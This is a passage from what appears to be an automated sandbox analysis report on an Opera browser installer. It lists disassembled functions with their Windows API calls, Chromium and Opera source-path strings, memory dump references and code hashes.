                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FreeTask
                                                                                                                                                                                                                • String ID: scheduled
                                                                                                                                                                                                                • API String ID: 734271698-3897526373
                                                                                                                                                                                                                • Opcode ID: 2f5f441f4b31bc20d4742de31850d356ac5b8b6c6f2d7a160b6cbbc3bb0f6c3a
                                                                                                                                                                                                                • Instruction ID: ab63526aa6e07bc2ff7bda8742b3ea048f1216b148296171bf7700b76d93a90d
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2f5f441f4b31bc20d4742de31850d356ac5b8b6c6f2d7a160b6cbbc3bb0f6c3a
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 46A1BCB0604305AFD710EF24C848B6BBBEAFF85318F044A5CF5959B291D731E946CBA2
                                                                                                                                                                                                                Function 00778540 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 227COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(?,?), ref: 0077858B
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(?,?), ref: 007785AD
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExclusiveLock$AcquireRelease
                                                                                                                                                                                                                • String ID: ess-$phas
                                                                                                                                                                                                                • API String ID: 17069307-415257544
                                                                                                                                                                                                                • Opcode ID: 49ff7f46a6841b17baa568e89b65f9bc266e8dd3d0b4937a247e1fa2133cda83
                                                                                                                                                                                                                • Instruction ID: a8d6aaf79b6727d4a4837e60f8ff4a4f51d2cbb5ecd38bfcd9dabfb7d6ac9c58
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 49ff7f46a6841b17baa568e89b65f9bc266e8dd3d0b4937a247e1fa2133cda83
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 859178705043419FCB54DF64C888A6BB7E5FF88390F148A1DF89A9B291DB74E904CB93
                                                                                                                                                                                                                Function 00752750 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 165COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetLongPathNameW.KERNEL32(?,?,00000104), ref: 00752939
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: LongNamePath
                                                                                                                                                                                                                • String ID: ../../base/files/file_util_win.cc$.tmp$CreateAndOpenTemporaryFileInDir
                                                                                                                                                                                                                • API String ID: 82841172-836254879
                                                                                                                                                                                                                • Opcode ID: 671dce990c56971f82af6e552476e694bd6041759efecb755460b4756f553625
                                                                                                                                                                                                                • Instruction ID: 17bd27be3f9a1597279e1946f8adb303c392460f3ffeb57d2259abc4cfa5a2aa
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 671dce990c56971f82af6e552476e694bd6041759efecb755460b4756f553625
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0F51F7B1508384ABE714EF24C885AAFB7A4BFC5324F044A1CF8D1572D3DB78A949C742
                                                                                                                                                                                                                Function 007B8CD4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 149COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: %s%zu$restart_cmd_line_key_
                                                                                                                                                                                                                • API String ID: 4218353326-2004224652
                                                                                                                                                                                                                • Opcode ID: 76078aaf19ff12293e1695e8f8e0cbeb5ee3669c7e577eff33612c59e4c2116f
                                                                                                                                                                                                                • Instruction ID: 00c94fb9b2cbf9debb2f3f0b171d715feabc775010dc0dccd96242c6767585c8
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 76078aaf19ff12293e1695e8f8e0cbeb5ee3669c7e577eff33612c59e4c2116f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: E74146717002055FDB109F28DC81BBA77A8EF95324F14452EF859DB382EB74AD05C7A2
                                                                                                                                                                                                                Function 00706354 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • RemoveDirectoryW.KERNEL32(?,?), ref: 00706454
                                                                                                                                                                                                                • RemoveDirectoryW.KERNEL32(?,?,?), ref: 00706499
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • Actual removal of , xrefs: 007063A9
                                                                                                                                                                                                                • ../../opera/desktop/windows/installer/transactions/delete_file_operation.cc, xrefs: 0070637A, 00706397
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: DirectoryRemove
                                                                                                                                                                                                                • String ID: ../../opera/desktop/windows/installer/transactions/delete_file_operation.cc$Actual removal of
                                                                                                                                                                                                                • API String ID: 597925465-678036363
                                                                                                                                                                                                                • Opcode ID: 2276e3df513efe60d913be96e8e8d27460089473c486055dce5fbc55e03f91bb
                                                                                                                                                                                                                • Instruction ID: 452605813a956594cf34b9114fe5c364311a8ea1e1d8fac2d76eba209d317adb
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2276e3df513efe60d913be96e8e8d27460089473c486055dce5fbc55e03f91bb
                                                                                                                                                                                                                • Instruction Fuzzy Hash: F241F970A00214DBEF54EF24DC99BAA73A4AF05305F004599F949972C3DB38AA59CB92
                                                                                                                                                                                                                Function 00845C15 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 117COMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00845B19,?,00000000,00000000,00000000,00000000,?), ref: 00845C3A
                                                                                                                                                                                                                • CatchIt.LIBVCRUNTIME ref: 00845D20
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CatchEncodePointer
                                                                                                                                                                                                                • String ID: MOC$RCC
                                                                                                                                                                                                                • API String ID: 1435073870-2084237596
                                                                                                                                                                                                                • Opcode ID: 7e5d3311e779ef7ac3659843698b83371dd0c4c80bd576fb07c23507a81ab3e6
                                                                                                                                                                                                                • Instruction ID: 62c1b2feeb25ee777b25f4cf7fd1aa690b45004f21f12520b80b7f58757a7c5b
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 7e5d3311e779ef7ac3659843698b83371dd0c4c80bd576fb07c23507a81ab3e6
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4C418A7290060DAFDF16DF98CD85AEEBBB5FF48304F188069F904AB262D3359950DB51
                                                                                                                                                                                                                Function 007E9C4E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 102fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/file/directory_reader_win.cc, xrefs: 007E9D58
                                                                                                                                                                                                                • FindNextFile, xrefs: 007E9D6A
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorFileFindLastNext
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/file/directory_reader_win.cc$FindNextFile
                                                                                                                                                                                                                • API String ID: 32741936-2470157903
                                                                                                                                                                                                                • Opcode ID: 8c8160ba4367dfd06fbd85453d73cb1192515b17e6e64a01d070e94a1640a061
                                                                                                                                                                                                                • Instruction ID: 8b7e7a4b2fd8a217f9050979aef2c853718e4c627531f7cead6bd61ccf033e8f
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 8c8160ba4367dfd06fbd85453d73cb1192515b17e6e64a01d070e94a1640a061
                                                                                                                                                                                                                • Instruction Fuzzy Hash: B0312D2270025897EB24BB359C5ABBF7359EF84314F140039FE069A2C3EB6D5944C3A5
                                                                                                                                                                                                                Function 007543D0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFileInformationByHandle.KERNEL32(?,?), ref: 00754499
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileHandleInformation
                                                                                                                                                                                                                • String ID: ../../base/files/file_win.cc$File::GetInfo$GetInfo
                                                                                                                                                                                                                • API String ID: 3935143524-2616935691
                                                                                                                                                                                                                • Opcode ID: 0b3915cf8b76824cad5fb92209c07edf6f8231c9e103c373b25dffdee3e1ca4f
                                                                                                                                                                                                                • Instruction ID: 89fbcdc0bc39d4cbf05cab29c365d3edcc2c8f586764426675fb611e5192b0de
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0b3915cf8b76824cad5fb92209c07edf6f8231c9e103c373b25dffdee3e1ca4f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0841C371904781ABC710DF28CC45AAAFBB4BFDA360F104B1CF5E456192EBB59155C782
                                                                                                                                                                                                                Function 007E7BC4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 99COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateEventW.KERNEL32 ref: 007E7C1D
                                                                                                                                                                                                                • CreateEventW.KERNEL32(?,?,?,?,?), ref: 007E7C8E
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CreateEvent
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/win/session_end_watcher.cc$CreateEvent
                                                                                                                                                                                                                • API String ID: 2692171526-1378153383
                                                                                                                                                                                                                • Opcode ID: 8ed3806a3212079fb01674f6614098d85184c4bf6b9ab262199b3d31c82ab465
                                                                                                                                                                                                                • Instruction ID: e5509b3f5e515b6582f2411e5dffdb4fbd73abdde28be61929f24aa2026b1d8f
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 8ed3806a3212079fb01674f6614098d85184c4bf6b9ab262199b3d31c82ab465
                                                                                                                                                                                                                • Instruction Fuzzy Hash: DA31BC70A00318DBEB30BF689C47B6BF7B9FF44300F00456DE949A6683DB7466488B92
                                                                                                                                                                                                                Function 00711CB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92synchronizationCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateMutexW.KERNEL32(?,00000000,?), ref: 00711D18
                                                                                                                                                                                                                • WaitForSingleObject.KERNEL32(?,00000000), ref: 00711DA5
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • NamedMutexImpl, xrefs: 00711D67
                                                                                                                                                                                                                • ../../opera/desktop/windows/os_operations/os_operations_impl.cc, xrefs: 00711D62
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CreateMutexObjectSingleWait
                                                                                                                                                                                                                • String ID: ../../opera/desktop/windows/os_operations/os_operations_impl.cc$NamedMutexImpl
                                                                                                                                                                                                                • API String ID: 3113225513-3124965751
                                                                                                                                                                                                                • Opcode ID: 3dbac60dc4b7ae9377a7a9fbbbc1fbadf61352eccd038f631facc7e5b051f672
                                                                                                                                                                                                                • Instruction ID: 7ad868ebee9e23c7f624f98671a3d102110e6b49a531e83424c71fd51615baa0
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3dbac60dc4b7ae9377a7a9fbbbc1fbadf61352eccd038f631facc7e5b051f672
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0431B1B19183859BD310DF38D841AAABBE4FF99320F100A1DF9D593291DB749944CBA2
                                                                                                                                                                                                                Function 00753BC0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 78COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FilePointer
                                                                                                                                                                                                                • String ID: ../../base/files/file_win.cc$File::Seek$Seek
                                                                                                                                                                                                                • API String ID: 973152223-960883878
                                                                                                                                                                                                                • Opcode ID: f55f42bad696202fa66a0fd1fb4a2c07537b4c75e7df9efde49eb0a65aa81ba9
                                                                                                                                                                                                                • Instruction ID: ba5e6d92a7b35b41e3a4e0f2360712e937d71dba98e4ecea5dd8ffb052996944
                                                                                                                                                                                                                • Opcode Fuzzy Hash: f55f42bad696202fa66a0fd1fb4a2c07537b4c75e7df9efde49eb0a65aa81ba9
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3F3178714083819BC310EF68C88586AF7A4FFC9760F508B1DF8E4532D1DBB49909CB92
                                                                                                                                                                                                                Function 00753F20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 77fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • WriteFile.KERNEL32(00000000,?,?,FFFFFFFF,?), ref: 00753FF3
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileWrite
                                                                                                                                                                                                                • String ID: ../../base/files/file_win.cc$File::Write$Write
                                                                                                                                                                                                                • API String ID: 3934441357-2974260537
                                                                                                                                                                                                                • Opcode ID: 8696efb6e926095d7012dd23303fd210afc1bda609aa16f5c0e2bca782fa98c7
                                                                                                                                                                                                                • Instruction ID: 4e2b9e80ad4490db78c7b34fa5c27f97ded439eca7756170e3db583bfbe7faa4
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 8696efb6e926095d7012dd23303fd210afc1bda609aa16f5c0e2bca782fa98c7
                                                                                                                                                                                                                • Instruction Fuzzy Hash: F9217A71404385ABD210DF28C84596BB7A8FFC93B4F504B1DF8E4922D2EBB49A45CB92
                                                                                                                                                                                                                Function 00754030 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • WriteFile.KERNEL32(?,?,00000000,FFFFFFFF,00000000), ref: 007540E8
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileWrite
                                                                                                                                                                                                                • String ID: ../../base/files/file_win.cc$File::WriteAtCurrentPos$WriteAtCurrentPos
                                                                                                                                                                                                                • API String ID: 3934441357-2300577854
                                                                                                                                                                                                                • Opcode ID: 4e04a0fb06352afaaf46d7e7d3d45d7ae4f5c1d8d2d9506b7a64f1a6e76dc92c
                                                                                                                                                                                                                • Instruction ID: f792b90ca91d4ffc5a272128acbe7a2d78cf3e2535f3ae9a09cb22010b3e9727
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 4e04a0fb06352afaaf46d7e7d3d45d7ae4f5c1d8d2d9506b7a64f1a6e76dc92c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: BF21AD71504380ABD210EF28CC49A6AF7A8FBC5774F604B1DB9F4561C1EBB49508C792
                                                                                                                                                                                                                Function 00754130 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66COMMON
                                                                                                                                                                                                                Download Yara Rule
